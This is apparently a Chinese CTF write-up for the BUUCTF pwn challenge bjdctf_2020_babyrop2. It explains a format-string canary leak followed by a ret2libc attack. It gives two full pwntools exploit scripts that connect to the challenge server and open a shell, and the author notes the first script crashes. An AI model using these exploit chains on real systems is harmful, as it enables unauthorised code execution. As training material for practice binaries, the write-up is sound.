bjdctf_2020_babyrop2-leak canary

1,三连
bjdctf_2020_babyrop2-leak canary_第1张图片分析:开了canary,先想办法获取canary值。

2,IDA静态分析,查看可以泄露canary的地方,否则只能爆破了
发现可以格式化字符串函数泄露的地方:
bjdctf_2020_babyrop2-leak canary_第2张图片
栈帧结构:

高地址
--------------
gift_ret栈帧
--------------
gift_ebp
--------------
canary
...
format局部变量的地址:存入的内容=>aa%6$p(假格式化参数6)
...
--------------
假格式化参数5
--------------
...假参数2-4
--------------
假格式化参数1
--------------=>gift_esp
format的地址(printf的参数) - > 内容是格式化字符的地址(泄露高地址信息):构造=>aa%6$p
printf_ret栈帧
--------------
低地址

限制:只能输入6个字符,所以不能如下构造

aaaa%x %x %x.......

得利用aa%[n]$p格式

格式化规则说明:

  • n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数,则其他所有占位符必须也使用 参数。
    例:printf("%2$d %2$#x; %1$d %1$#x",16,17)
    打印结果:17 0x11; 16 0x10

  • p是void * 型,输出对应变量的值。
    printf(“%p”, a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址

思路:aa相当于定位标识,format在格式化假参数6的位置,所以构造成aa%6$p
对应16进制:aa(6161),%(25),6(36),$(24),p(70) (16进制asll和小端序)
通过p打印出对应16进制即可推出canary。

canary的位置:即format局部变量的地址的上一个位置,则aa%7$p即泄露canary的地址。

3,获取偏移
bjdctf_2020_babyrop2-leak canary_第3张图片
vuln的偏移=0x20-0x8(canary填充)
即构造:

payload = b'a'(0x20-8) + p64(canary) + p64(ret)

4,IDA静态查找可利用函数/字符串
bjdctf_2020_babyrop2-leak canary_第4张图片

思路:无直接可利用sys函数,所以是ret2lic,利用put泄露基址。

4,payload

from pwn import *
from LibcSearcher import *

io = remote("node4.buuoj.cn",28141)
#io = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")

main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x400887
rdi = 0x0000000000400993 #: pop rdi ; ret

io.sendline('%7$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
#print hex(canary)

payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\n",payload)

puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")+1
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter("story!\n",payload)

io.interactive()

上面版本用Libcsearcher的libc进入shell就异常!!

使用如下版本:
本地libc下载:https://github.com/Yeuoly/buuctf_pwn/tree/master/bjdctf_2020_babyrop2

from pwn import *

context.log_level = 'debug'

proc_name = './bjdctf_2020_babyrop2'

#p = process(proc_name)
p = remote('node4.buuoj.cn', 27013)
elf = ELF(proc_name)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']

pop_rdi_ret = 0x400993
ret = 0x4005f9

#gdb.attach(p, 'b *0x400857')
#format overflow
p.recvuntil('I\'ll give u some gift to help u!\n')

payload = b'%7$p'

p.sendline(payload)

canary = int(p.recv(0x12), 16)

print('[+] canary -> {}'.format(hex(canary)))

#gdb.attach(p, 'b *0x4008c3')
p.recvuntil('Pull up your sword and tell me u story!\n')

payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(puts_got) 
payload += p64(puts_plt) + p64(vuln)

p.sendline(payload)

puts_real_addr = u64(p.recv(6).ljust(8, b'\0'))

libc_base = puts_real_addr - libc.sym['puts']

print('[+] libc_base -> {}'.format(hex(libc_base)))

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) 
payload += p64(system_addr)

p.recvuntil('story!\n')

p.sendline(payload)

p.interactive()

你可能感兴趣的:(PWN,python)